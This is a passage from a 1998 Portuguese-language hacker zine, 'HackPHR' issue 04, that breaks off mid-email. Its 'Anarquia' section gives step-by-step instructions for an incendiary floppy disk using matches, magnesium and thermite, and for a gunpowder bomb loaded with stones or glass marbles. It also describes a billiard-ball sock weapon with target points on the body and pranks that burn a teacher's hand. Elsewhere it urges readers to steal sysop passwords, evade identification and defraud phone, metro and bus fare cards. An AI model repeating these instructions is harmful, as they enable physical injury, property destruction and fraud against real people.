
          ////     ////     ////////      ////////   ////     ////
         ////     ////   ////    ////  ////         ////    ////
        ////     ////   ////    ////  ////         ////  ////
       ////     ////   ////    ////  ////         //// ////
      /////////////   ////////////  ////         ////////
     ////     ////   ////    ////  ////         ////  ////
    ////     ////   ////    ////  ////         ////    ////
   ////     ////   ////    ////  ////         ////      ////
  ////     ////   ////    ////     ////////  ////        ////

                                                 
     [ Numero: 04, Maro de 1998 ]                       
                                                         
       [ Hack and Phreak Group ]                
                                                            
   [ http://www.hackphr.home.ml.org ]                       
                                                            

                                             
                                                         ASCii by MaNdRaCk

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
     VERSAO APENAS PARA MS-DOS. RECOMENDADO CARREGAR O DRiVER COUNTRY.SYS
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



MeMbrOs AtUAiS:         (listados por ordem de ingresso no zine)

- MaNdRaCk      -   mandrack@geocities.com
- Cebola        -   cebola_br@hotmail.com
- HaCk-MaN      -   hack.man@mailcity.com
- Pensador      -   pensador@hotmail.com
- QuIcK_DeAtH   -   quick-death@usa.net

OBS.: Editores temporarios, candidatos e contribuidores tmb sao listados...

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

     ***   ****   ***   ******     *******  ***   ***
    ***   *** *  ***   ***   ***  ***        *** ***
   ***   ***  * ***   ***   ***  ******       ***
  ***   ***   ****   ***   ***  ***        *** ***
 ***   ***    ***   *******    *********  ***   ***
 ====================== = = = = =  =  =  =   =   =   =    =    =     =      


01| INTRODUAO                        -  by HackPHR ZiNE members
------------------------------------------- - -  -  -   -    -     -   
02| ANARQUIA                          -  by Pensador
------------------------------------------- - -  -  -   -    -     -   
03| TELEFONIA & "TRUQUEZINHOS"        -  by MaNdRaCk
------------------------------------------- - -  -  -   -    -     -   
04| TUTORIAL VIRUS RESIDENTES(TSRs)   -  by Cebola
------------------------------------------- - -  -  -   -    -     -   
05| TUTORIAL C++                      -  by HaCk-MaN
------------------------------------------- - -  -  -   -    -     -   
06| KEY STROKE RECORDS                -  by QuIcK_DeAtH
------------------------------------------- - -  -  -   -    -     -   
07| TUTORIAL PGP                      -  by Cebola
------------------------------------------- - -  -  -   -    -     -   
08| INTRODUAO A ELETRONICA           -  by Cebola
------------------------------------------- - -  -  -   -    -     -   
09| KEVIN MITNICK                     -  by QuIck_DeAtH
------------------------------------------- - -  -  -   -    -     -   
10| CARTOES DE CREDITO                -  by Pensador and Cebola
------------------------------------------- - -  -  -   -    -     -   
11| ENTRANDO EM CONTATO               -  by HackPHR ZiNE Team
------------------------------------------- - -  -  -   -    -     -   
12| BRINDE: MODEM JAMMER (UUENCODED)  -  by HackPHR Group
------------------------------------------- - -  -  -   -    -     -   



   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             01  -  INTRODUAO
                            -=-=-=-=-=-=-=-=-=- 

   Bom, pessoal, essa ediao do zine foi prometida pra dia 01, mas como sou
meio (nem tanto) distraido, soh depois q passei pelo calendario vi q feverei-
ro soh tem 28 dias... Eh, essa foi mal mesmo, o pior eh q o Cebola tmb naum
notou, e como eu e o Cebola q praticamente coordenamos o zine e o grupo, deu
no q deu, fizemos de tudo pra acabar ateh 01, e conseguimos, mas meio as pres-
sas, portanto, se acharem erros em alguma materia mail-us. ;)
   Tah, muitos tmb jah notaram o crescimento dos editores, poderiam ter mais
mas o probleminha do calendario tmb dificultou um pouco...
   Inclusive o ShK, q escreveu pouco, como achei bobagem colocar o q ele es-
creveu no espao de uma materia, portanto vai aki na intro. O negocio sao uns
conselhos pra vc deixar de ser lammah:

=-=-= ShK =-=-=
Bom... se vc esta pensando q vai aprender algum truque novo agora, pule
de materia.
Se conselho fosse bom, se vendia, mas eu vou dar alguns de graca pra
vcs:

- Esqueca DOS e Windows, rode algum sistema operacional non-m$. Rode
linux de preferencia.
- O ambiente online, nao eh so inet. Existem bbz, redes, etc q podem ser
invadidos. Em vez de ficar procurando por passwd daquela page de
sacanagem, tente pegar o passwd do sysop da bbz mais proxima.
- Aprenda programacao, de preferencia assembly.
- Esqueca essas babaquices do genero: "eu sou hacker, vc eh cracker e
ele eh lammer"
- Tente SEMPRE se aproveitar de algum idiota para conseguir uma senha.
- Esqueca irc, scripts de irc, essas merdas.
- Nao use mail bomb nem fique distribuindo virus pra todo mundo. So
idiotas fazem isso.
- Nao faca a "sua propria pagina hacker". Nao crie "seu proprio zine
hacker".
- Se quiser apagar, apague. Se vc conseguiu entrar la, vc pode fazer oq
vc quiser.
- Nao fique puxando o saco dos outros

Pronto, ja enchi o saco. Tente seguir esses conselhos e nao seja mais um
otario metido a hacker.
=-=-= ShK =-=-=

   Bom o q ele escreveu vai alem do q pensamos, mas todos pensam o q querem
ninguem pode controlar o q os outros pensam, nem seria muito interessante tmb.
   Nesta ediao vcz vao ver materias de alguns editores novos, e outros talvez
pq ainda naum sabemos quem entra e quem sai, acabamos de comear com o grupo,
e ainda temos muita coisa pra decidir, mas confira as materias e boa leitura.


   1998, HackPHR ZiNE Team - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                               02  -   ANARQUIA
                              -=-=-=-=-=-=-=-=-=-

 ****************************************************************************
                           A   N  A  R  Q  U  I   A
    ChE GuEVaRa            *Ŀ*      aNTnIo                      
                           *             *        cOnSeLHEiro
            mANdelA        *             *              
                           *       ensador   *   zUmBI                 
       LuThER kinG         *                 *                 
                           **             
                           A   N  A  R  Q  U  I   A
 ****************************************************************************

 --> T faltando algum nome a no quadro?  s pedir que ele aparece, E-MAIL!

  Aviso s crianas (Lamahs) :

                --------------------------------------------------
                aTenO: VC  O TOTAL RESPONSVEL POR SUAS AES.
                         O USO INDEVIDO DAS MATRIAS AQUI CONTIDAS
                         PODEM ACARRETAR SRIOS DANOS.
                         No sou responsvel por N A D A.
                         Vc  o responsvel por T U D O .
                --------------------------------------------------
    
        
                         
    
    mbaado.......todo comeo  embaado.  isso a galera underground,
    t estreando aqui no zine com a inteno  de  ser  um  editor-anarquista
    um pouco diferente. Procuro criar matrias fceis de serem  realizadas e
    bem esquematizadas.  Alm de trazer atualidades e notcas  interessantes
    sobre o que est rolando pelo planeta a fora. Vou  procurar  sempre  um
    assunto polmico e rolar a no zine pra ver a reao de vcs...
 -->Mandem E-MAILS, mas MANDEM MESMO e digam se acharam a nova edio anar-
    quista uma bosta, um lixo...ou se acharam razovel, legal. Dependo da
    opinio de vcs para continuar escrevendo no Zine.
 -->Aqui nas minhas matrias, vcs vo ver coisas q nenhum outro zine tm
    (pelo menos que eu conhea), ou seja, atualidades e notcias do mundo.

    Agora chega de babozeira e  V A M O   D E T O N A   E S S A   P O R R A.

    Vamos comear com uma matria q j t rolando a na net mas tem gente que
    no t ligada:

-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=
                         ---==DISQUETE BOMBA==---

 Material necessrio : * Essencial  - No essencial 

* 1 ou mais discos de 3.5 polegadas;
* Uma caixa de fsforo;
* Um estilete bem afiado;
* Um frasco de cimento plstico ou argamassa;

- Um centmetro de magnsio em tiras (opcional);
- Um grama de termite. Mistura de alumnio pulverizado e xido de ferro, 
  usada na produo do ao (opcional).

 Instrues:

   Abra cuidadosamente o disquete. Com o disco aberto voc tem que escolher
   entre arrancar a proteo onde fica a marca do disco (normalmente de metal)
   ou deixar ela no lugar. Se a proteo for arrancada, a bomba vai ficar
   visvel e voc mesmo ter de coloc-la no drive.
   Se a proteo ficar no lugar, voc pode dar o disco para um "amigo".
   Raspe a cabea dos fsforos e amasse para que vire um p. Retire o pano do
   disquete e cubra um ou ambos os lados do disco com a argamassa.
   Espalhe o p dos fsforos em cima e deixe secar. Feche o disco colando os
   cantos e pronto!
   Se voc quiser um estrago maior, coloque a tira de magnsio em cima do
   p dos fsforos. Se voc quiser destruir o computador, coloque o termite em
   baixo do magnsio.

 Funcionamento:

   Quando o disco for acessado, o p dos fsforos ir  atritar  e  acender.
   O disco vai derreter e se espalhar pelo drive. Se voc usou o magnsio,
   o calor gerado pelos fsforos vai acender a tira. O magnsio vai queimar
   destruindo o drive permanentemente e, com sorte, outras coisas mais que
   estiverem por perto. Se voc usou o magnsio e o termite juntos, o magnsio
   ir acender o termite e ele vai comear a agir. O termite vai queimar o
   disco, o drive, o gabinete, a mesa, o cho e vai pingar em algum lugar
   perto do Inferno!!!!!!!!!!! CRUEL
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

   Agora vamos falar um pouco sobre coisas pra se fazer numa merda de aula de
   "COCLGIO" ou qdo vc est afim de dar uma avacalhada nos comdias....


  Quando der o sinal de uma aula pra outra, geralmente o querido professor
  sai da sala e existe um pequeno intervalo de tempo para vc fazer o seguinte
  enquanto o outro professor escroto no chega:   
   -> Pegue um isqueiro v at a porta e ESQUENTE a maaneta pelo lado de fora
      Mas ESQUENTE mesmo...a feche a porta e espere o COMDIA do professor
      chegar..!!!!!! (Puta cara, essa  uma das melhores...s fazendo pra vc
      ver a reao...sua barriga vai doer de dar risada!)

   -> timo..ele j chegou? Queimou a mo? Est puto? Espere ele sair da sala
   ou invente uma desculpa que algum est chamando e jogue GUA na caixa de
   giz dele..mas jogue MESMO..no economize...vcs vo perder um bom tempo de
   aula at ele recuperar os "gizes" afogados!.

   -> Que bom..a d o sinal pro intervalo ou Ed. Fsica e todo mundo dese..
   timo, sempre nas classes existe aquele + CABAO...o COMDIA da turma...
   Faa uma aposta com ele ou algo parecido para fazer com que ele ponha o
   Brao Esquerdo na manga direita e o brao direito na manga esquerda.
   Como se ele estivesse dando um abrao nele mesmo.
   Bom, feito isso...ABAIXE as calas do COMDIA...ele vai ficar um tempo
   pra se arrumar pois os braos esto invertidos e com a vergonha ainda...
   t fodido!! CRUEL
 **O B S: S funciona (ou funcina melhor) se o alvo estiver de manga comprida.
   
   -> No t afim que seu professor entre na aula? BELEZA vi:
    s desparafusar a maaneta pelo lado de fora e fechar a porta...Pea para
   a classe fingir que no v o prof. pela janelinha!! No vai dar pra entrar
   na sala pois no tem como destravar o trinco.(S por d por dentro).
   O mximo que ele vai fazer  ficar batendo na porta. (Como um babaca)

  -> Porque vc no pega aquela MaLDIto saco ou lata de lixo da sua sala, abra
   a porta pela metade e pe o lixo em cima...a  s esperar o seu amiguinho
   passar e abrir a porta pro lixo estourar bem na cabea dele.
   DICA: Ponha um BASTANTE daquele pozinho que fica nos apontadores em cima do
   lixo, ele fai ficar se coando por um bom tempo.

  -> Tem algum soneca na sua sala? Beleza, pegue o Liquid Paper, conhecido +
   por "branquinho", e PINTE as unhas do alvo que est dormindo...qdo secar
   CARA... embaado pra sair, s em casa mesmo. Ele vai ficar com a unha
   pintadinha a aula toda..como uma putinha!!!!!
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

* Chega de colgio agora...vamos pra uma coisa mais quente...MUITO QUENTE!
  LET'S ROCK....

                     ---==B O M B A   C A S E I R A==---

 Material:

* Aqueles plsticos que grudam..isso aquele mesmo que sua me (com todo respeito!)
  geralmente usa pra guardar restos de comida ou saladas;
* Pedaos de pedra, grandes e pequenos; (S em ltimo caso, se estiver com tem
  po, veja um jeito melhor de fazer a bomba..t logo abaixo em DICAS.)
* Plvora. Pra conseguir, compre bombinhas de 1000 em qualquer loja de fogos
  e desenrrole as bombinhas.
* Saquinho de mercado.

 Instrues:

Pegue o plstico que gruda e estique numa mesa...o tamanho vc escolhe, depende
do tamanho da bomba.
Esticado o plstico, PRIMEIRO ponha os pedaos de PEDRA em cima.
Espalhe a plvora pelas pedras.
V dobrando o plstico CUIDADOSAMENTE at ficar tudo bem comprimido, isso a,
vo ficar as pedras e a plvora enrroladas no plstico.
Pegue o saquinho de mercado e ponha DEVAGAR o "enrrolado" l dentro.
Carregue pela ala do saquinho de mercado pra no haver riscos.

 Funcionamento:

Escolha o alvo..um muro, uma parede..algo assim. Pela ala do saquinho de
mercado leve seu brao pra trs e... jogue o saco no alvo desejado......
mantenha uma DISTNCIA RAZOVEL pois seno vc vai se foder tb.
Qdo o saco bater as pedras vo atritar com a plvora e a fodeu geral...
quem estiver perto vai pro inferno na hora.

 DICA: Em vez de usar pedras, v numa inocente lojinha pra crianas e
compre um saquinho de bolas de gude (que meigo). Ponha no lugar das pedras.
Mas CUIDADO, quando a bomba s'tourar na parede no vai + voar pedra, vo voar
CACOS de VIDRO e a xar....se cuida + ainda, se no, vc ou quem estiver perto
vai ficar com cicatrizes pro resto da vida!!.  CRUEL.
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                         ---=P O R R A D A=---

E a vi, lembra daquele cara que tretou com vc ou porque ele estava com a
turminha de merda dele e vc estava sozinho ou pq ele era + forte ?
Se vc j passou por isso e se fodeu, faa o seguinte:

 Material: 

* Bola de sinuca (TEM Q SER DE SINUCA, de preferncia OFICIAL, so maiores)
* Meia de l, aquelas meias grossas e fortes que sua me (com todo respeito)
  usa no inverno. Geralmente elas aguentam bem.
* Em vez da meia pode usar um saco plstico (Resistente!)
 Instrues:

Pegue a bola de sinuca e ponha-a dentro da meia de l.
Carregue ela na muchila ou em algum lugar discreto.
Ou carregue pela ponta da meia mesmo, como se estivesse levando um "lanchinho"

 Funcionamento:
Chegue naquele foRgado que folgou com vc e o provoque, finja que vai arregar
ou sair andando, qdo ele no estiver to esperto, pegue nossa "amiguinha" e
d com vontade, mas pegue bem pela ponta da meia pra sair forte e DESA a
sinuca na cara dele.

 DICA:Queixo    - Nocaute.                    *Claro q vc pode dar a porra
          Olho      - Ou fica roxo ou vai operar.  da, sem se importar com o 
          Superclio- JORRA SANGUE.                lugar!!!!!!!!!!!!!!!!!
          Dente     - Alm de quebrar, vai gastar uma puta grana pra arrumar!.
                        ---==MITINICK X F.B.I.==---
Se um dia vc virar um terrorista e precisar fugir ou est afim de alugar um
quarto sem ser identificado, a vai:

De um ORELHO, ligue pra um hotel avisando que vc esteve recentemente
hospedado e que seu nome  JOS (Claro, escolha um nome bem COMUM).
O atendente deve confirmar com algum sobrenome e vc diz que  aquele mesmo.
Pea pra ele fazer uma reserva pra X dias.(X=nmero de dias sua anta)
Qdo ele pedir a forma de pagamento ateno: DINHEIRO, pelo carto eles podem
te localizar.
Pronto,  s chegar no hotel e dormir.

O B S: Essa foi uma das gambiarras que Kevin David Mitnick usou durante
       a perseguio do FBI. Ela  citada no livro "O JOGO DO FUGITIVO"
       O foda  que funcionou!!!!!!!!
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                        ---==M A N C A D A S==---

-> Pergunte em PBLICO a uma mina se ela  virgem. (o curioso disso  que qdo
   vc pergunta ela fica com cara de boceta!!!!!)

-> Reuna uns amigos com vc e vo at um orelho  e  CUSPAM, CATARREM, onde
a ficha  devolvida (No funcina em telefones a carto!). Bom, agora chame
a vtima..pode ser uma amigo...e troquem uma idia com ele e o caramba at
chegarem a um aposta, quem conseguir correr at o orelho e pegar a ficha que
est l dentro ganha a grana da aposta.
BLZ, agora  s 1, 2 3 e J...saiam correndo e deixem o cabao ganhar, ele
vai enfiar a mo pra pegar a ficha mas o que ele vai conseguir  melecar
TOTALMENTE a mo, quem sabe at um catarro verdinho pisca pra ele!!!!!!..
essa  CRUEL!.

-> Qdo vc vai ao cinema, sempre tem aquela MALDITA famlia que quer ver o
filme sossegada...no querem que ningum fale e de sobra tem aquele cara,
(geralmente o pai) que tem 2metros de altura e fica na sua frente e vc no v
nada. Para evitar isso...Qdo vc sentar na poltrona, antes de algum sentar
na sua frente, jogue PIPOCA, LATA DE COCA, CATARRE, LIXO...tudo o que puder na
poltrona da frente..assim, nenhum cabeudo fica na sua frente!

-> Em casa, pegue alguma garrafinha, geralmente, embalagens de shamp pequenas
(Claro seu lamah ..vazias) e dentro ponha GUA e um pouco de FARINHA, a quanti
dade vc decide. Misturado, teste, apertando a garrafinha e veja se espirra,
aproveite e veja se o lquido est branquinho. (Agite bem a garrafinha) 
V ao cinema, e numa cena ertica ou SEXUAL...comece a fazer uns barulhos e
espirre nossa "porra artificial" na poltrona da frente!!!!!!!!!!!!!!
 DICA: Sempre  melhor atirar em Playboys de merda que so CUZES.
Essa  mUITO LOUCA!!!!!!
-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                    ---==P L A N E T A   &   I N F O=---

-> FIDEL CASTRO X EUA

   O presidente cubano, Fidel Castro, disse na noite de 03 de fevereiro que
   as acusaes de eScNdalO sEXuAl que atingem Bill Clinton, so um exemplo
   da falta de tICA na sociedade norte-americana. (No  tica hacker LAMAH!)
   "Estamos na presena de outra crua lio sobre a escala de valores vigente
    no sistema poltico dos EUA."

>>>>>>Pensador: Gostei dessa...PAU nos americanos!!!!!

-> VRUS

   A Network Associats identificou um novo tipo de vrus. O "Formula Infector"
   ataca programas de planilhas eletrnicas e remove a barra de ferramentas.
   Em www.betamcfee.com/public/datafiles, j est disponvel soft para elimi
   nar o "FI", que ENTRA em AO assim que  feito um CLCULO.

>>>>>>Pensador: Qto  2+2?!!
      A Cebola...fica esperto!!

-> RACISMO DIGITAL

    O estudante de El Salvador, naturalizado americano, Richard Machado, 21,
    foi julgado pq em 1996 enviou e-mails ameaadores a estudantes asiticos
    da Universidade da Califrnia. Ele dizia que ia "encontrar e matar cada
    um pessolmente". Machado foi condenado a ficar um ano em priso federal e
    pagar uma multa de US$ 100 mil dlares.

>>>>>>Pensador: Realmente, esse cara alm de ser um cabao no  muito
                esperto!.


-> fAnTasma DO BuG

     O governo dos EUA est alarmado. Acredita que o bug do milnio ir afetar
     muito o sistema financeiro. H semanas, fiscais verificam as providncias 
     tomadas pelos bancos, inclusive os estrangeiros com operaes no pas.
     Eles so alvo das medidas preventivas do governo, pois a maioria ainda
     no se PREVENIU.

>>>>>>Pensador: Pois eh pessoal..precisa se prevenir..usem camisinha!!!!!!


*-*-*-*-*-*-*-*-* Notcias acima tiradas do jornal FOLHA DE SO PAULO.
                  (Menos os meus comentrios n seu LAMah)        

Racismo e Fantasma do Bug: Folha de SP dia 18 de fevereiro.
Fidel Castro e Vrus:      Folha de SP dia 11 de fevereiro.


AVISO: A galera, gostaria de avisar pra vcs, que estou tentando encontrar
       um jeito de  bUrLaR  o sistema de metr aqui de Sampa. Assim  como   
       existem meios de usar cartes telefnicos de graa, tem que haver um
       jeito de "zoar" aqueles malditos bilhetes de metr pra que eles passem
       na catraca e voltem pra ns. Quem souber qquer coisa mesmo, tipo, como
       eles funcionam, material q  feito, qquer besteira mesmo, manda um
       E-Mail! Alm do que a maldita prefeitura cobra um absurdo por eles.

AVISO II: A nossa querida prefeitura est instalando nos nibus as chamadas
          "catracas eletrnicas" he he he...vai ser o fim dos passes escolares
          e o incio de um carto (eletrnico..hummm.) que marca qtos crditos
          vc ainda possui. Bom sendo o carto eletrnico ou magntico, comea
          rei a estudar  um meio de adulterar esses cartes e conseguir crditos
          infinitos. Essas catracas esto previstas para entrar em vigor a
          partir da segunda quinzena de maro. Se algum souber de algo inte
          ressante..manda um E-MALA pro Pensѝr.

-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=

                      ---==B O N U S  -  1 Parte==---

Abaixo, segue uma lista com UM MONTE de palavres em INGLS....
Agora fique bem claro: No estou pondo isso pq gosto dos malditos americanos,
estou pondo, pra qd vc for pra l, xingar os desgraados at eles no aguen
tarem mais...!!!!!!!!!!!!!!!!!!!! - Boa viagem...

The Dope/drug                   -txico
To Smoke marijuanana a joint    -Puxar fumo  --~  
Junky                           -Viciado em drogas
Sttoned/high/loaded             -Alto numa boa (CHAPADO, sacou??)--~
Pusber/dealer                   -Traficante de drogas
Your dope                       -Seu burro
Your jerk                       -Sua anta
your dumbell                    -Sua mongol
your sucker                     -Seu cabao 
your shimack/stupid             -Imbecil ; estpido
your thick skin/poker face      -Seu cara de pau
your bay window                 -Seu barrigudo 
your scoundrel                  -Seu canalha/patife
your penny pincher              -Seu mo de vaca
your apple shiner/boot liker    -Puxa saco
your punk                       -Seu bosta
your faggot                     -Bicha,gay
your prick                      -Desgraado
your bitch//slut/hooker/tart    -Sua puta
your stramp bitch               -Sua puta sem vergonha 
your gay/fog                    -Bicha louca
You`re a pain in the ass        -Voce  um p no saco
I`m fuckin` horny               -T com um puta teso
I`m pissed off                  -Estou puto da vida 
I got fucked/screwed up         -Me fodi
She`s got the rags/her friend   -Ela esta menstruada!!!!
She`s in a good lay             -Ela  boa de cama Oh yes!!!!!!!!
She`s a good neckin`            -Ela  boa de molho
She`s got the runs              -Ela esta com caganeira 
your mother fucker              -Seu filho da puta
He`s over the buill             -Ele  brocha 
Son of a bitch                  -Filho da puta
Don`t give me bull shit         -No me venha com essa porra
Go jump in the lake/fly a hit   -Va ver se t na esquina
Fuck your/yourself/screw you    -Foda-se
Fuck off/go breck yourself      -Va se foder
Piss off                        -Va a merda
Shit                            -Merda
Bull shit                       -Bosta, besteira
Big fucking deal                -Bela merda
your ass                        -Seu C
God`ammed it                    -Porra ; Que merda ; Caralho
Holy shit                       -Puta merda
Go Up your ass                  -Vai tomar no c
Old Joe                         -Sifilis/gonorria
Body odor                       -cc (fedo qdo no passa desodorante)
Rubber                          -Camisinha
-----------------------------------------------------------------------------
Bom, por essa edio  s galera, tomara que tenham gostado...

Na prxima vem mais,  M U I T O   M A I S.
Mandem E-MAILS e faam comentrios por favor..bons ou ruins, todos sero
bem-vindos. Se quiserem enviar suas matrias, estamos de "portas abertas"
e claro, os autores tero seus devidos crditos.

Alguns tpicos da prxima edio: BONUS parte 2
                                  MANIFESTO em ajuda a um velho conhecido
                                  quem ser..?? S lendo!!!!!!!!!!!!!!!!!
                                  ARMINHA FEITA POR MIM...SIMPLES MAS
                                  DA HORA..fcil de fazer.
                                * FRAUDE NO BRADESCO. (essa vai ser bala)
-----------------------------------------------------------------------------
Pensamentos do dia: " O problema com a inteligncia artificial  que o
                      bom-senso ainda no  programvel."
                     -Marvin Minsk, fundador do Lab da MIT.

                    "Ladro que  ladro  bem vestido" (os polticos, lamah)
                     -RAIMUNDOS--> Uma das melhores, BANDA FODA.

E - M A I L :  pennsador@hotmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
                              /\//REVOLUO\\/\
                             /\/\/\/\/\/\/\/\/\/\
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//\/\/\/\/\//\/\/\/\///\/\/\////\/\/\/\/\/                                    


   1998, Pensador - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                      03  -  TELEFONIA & "TRUQUEZINHOS"
                     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

   Quando a gente comea a estudar Hack, a gente vai visitando umas home pages
lendo uns zines, e outros textos babacas q apenas ensinam "truquezinhos", por
exemplo: Soh colocar o diodo e tal... tantos e tantos truques q as vezes sao
confundidos por phreak, mas q hoje jah estao muito popularizados, e para os
simples mortais, tais truques ficam na classificaao do famoso "jeitinho" q
todo brasileiro tem.
   Para a massa popular aquele q faz ligaoes de graa eh muito esperto e in-
teligente, (serah???) ele ateh consegiu fazer uma extensao na casa dele!!!
   Eu eh q naum vou ficar pedindo pelamordedeus, nem nada, nem tudo, pois jah
to cansado. Ajudar eu ajudo sim, mas soh aprende quem quer, estou cansado de
ver isso, oras tenho mais o q fazer da vida...
   Tah, agora sem enrolaceira e desabafo, por um tempo vim recebendo e-mails
de pessoas q naum conseguiram executar as "tecnicas telefonicas", tecnico naum
tem de nada naquilo, naum sei pq tecnicas, q todo mundo sabe q naum funciona,
portanto, essas merdas q vivem dizendo por aih nos outros zines eh pura inven-
ao, microfusiveis, tudo pura merda, bosta pura.
   A eh, eh como entao??? Tah eu vou explicar o q eh um cartao na verdade,
alguns jah devem ter visto, mas devem ter achado q tinha alguma coisa a mais,
q naum podia ser tao simples como parecia, mas estavam realmente enganados.
   Vcz jah devem ter raspado a tinta da parte de tras (cinza, lamah) do cartao
e constataram q soh tem um metal, e daih? E daih q eh assim mesmo:

            ___________________________________________________
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         | 
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |         | o-|-o | o-|-o | o-|-o | o-|-o |         |
           |---------------------------------------------------|

   OBS.: Nao mandem mails dizendo q naum entenderam o desenho, muito menos q
         ficou feio!!
   
   O q a gente pode ver aqui? 4 fileiras com 2 colunas de celulas cada, com
13 celulas, humm, interessante... Ha, vc naum entendeu nda??!! Tah bom:


||                                    ||                                    ||
||                                    ||                                    ||
||                                    ||                                    ||
||                                    ||                                    ||
||         _____      Metal           ||                     _____          ||
||       /       \                    ||                   /       \        ||
||     /           \                  ||                 /           \      ||
||    |  Plastico   |_________________||________________|             |     ||
||    |             |-----------------  ----------------|  Plastico   |     ||
||     \           /                  ||                 \           /      ||
||       \ _____ /                    ||                   \ _____ /        ||
||                                    ||  Metal                             ||
||                                    ||                                    ||
||                                    ||                                    ||


   Eh o seguinte, aquela fina folha de metal q estah colada sobre o cartao
estah cortada de uma maneira q formam celulas, que reagem eletromagneticamente
com o sistema do telefone a cartao, ainda naum me perguntem como, pois ainda
estou estudando, eu jah era pra ter terminado isso, eu iria colocar todos os
resultados das minhas pesquisas nesta ediao, mas naum deu, as aulas ficaram
meio puxadas, e naum deu pra acabar, desculpa aih pessoal, quando der eu fao
uma materia especial sobre isso com tudo o q descobri...
   Eu ainda naum sei qual eh o funcionamento deles ao certo, muitos dizem uma
coisa, outros dizem outras, ninguem estuda nada, todos apenas querem ter de
mao beijada, pessoal, vamos nos mexer e estudar mais a telefonia, naum queira
que eu descubra tudo sozinho e publique pra vcz lerem, tanto q nessa materia
naum ensinei nenhum truque, e muitos naum vao gostar por causa disso, mas nao
queiram q eu fique colocando coisas babacas, por exemplo: como fazer Blue Box
ou como queimar um modem, ou outras coisas do genero, eh babaquice. Voltando
ao q a gente estava falando antes, vou publicar dois mail q recebi:



Date   : Tue, 27 Jan 1998 19:58:56 MDT 
From   : Felipe Russo <????????@???????.???.??>    
To     : mandrack@geocities.com
Subject: Cartoes Telefonicos 

  
  
  Ola, em primeiro lugar gostaria de parabeniza-lo pelo zine, eu nao sou 
hacker, apenas um curioso tentando aprender, e estou achando o zine 
muito util... 
Eu estudo eletronica/automacao, e gostaria de esclarecer uma duvida q 
eu imagino muitos nao sabem como funciona exatamente o cartao 
telefonico. 
O cartao nada mais eh que uma serie de capacitores enfileirados. Um 
capacitor por sua vez, sob efeito de uma corrente, gera uma "Reatancia 
capacitiva". Qdo vc enfia o cartaozinho lah no telefone o aparelho mede 
a reatancia total do cartao, definindo assim a quantidade de creditos 
ainda existentes... 
Qdo passa os 3 minutos do pulso, um pulso eletrico de alta tensao eh 
dado no cartao, em um setor de capacitores qq, fazendo que eles 
queimem.. sendo assim, um grupinho a menos de capacitor, a reatancia 
total do cartao cai, diminui os creditos.... 
Qto as "manhas" para deixar o cartao infinito, as que tem chance de 
funcionar sao a do silicone e da base de unha, pois sao materias que se 
passados sobre o cartao, em uma camada muito fina, nao alteram a 
reatancia capacitiva do cartao, mas isolam os capacitores do pulso de 
alta tensao, nao deixando que eles queimem apos os 3 minutos... qto ao 
do papel aluminio, eh totalmente furado, ele soh funcionaria em relacao 
ao pulso eletrico, o pulso nao afetaria o capacitor pois seria conduzido 
pelo aluminio, que eh um material condutor, mas sendo condutor, ele nada 
mais eh do que um curto, ou um pedaco de fio, que possui 
resistencia/reatancia baixissima, ou seja, qdo vc enfiar o cartao lah 
nao vai ter credito nenhum... talvez ate d certo deixando um pedaco do 
cartao descoberto... eh tentar pra ver... bom, espero q essa colaboracao 
ao zine seja util.. como eu disse, nao sou hacker, mexo com eletronica e 
com montagem de micros, monto servidores (http/ftp/irc/pop/smtp) 
baseados em win nt/95, se isso puder contribuir de alguma forma, posso 
escrever algo a respeito... ate mais! 

Felipe

--- --- -- -- - -

From: bighead_br@hotmail.com
To  : MaNdRaCk <mandrack@geocities.com>


Eu sou BIGHEAD, de SAO PAULO e queria ser um dos editores de seu
excelente Zine - voltado para os iniciantes - coisa rara nestes dias e
tambm por abranger o phreak - no Brasil nao h edicoes descentes e
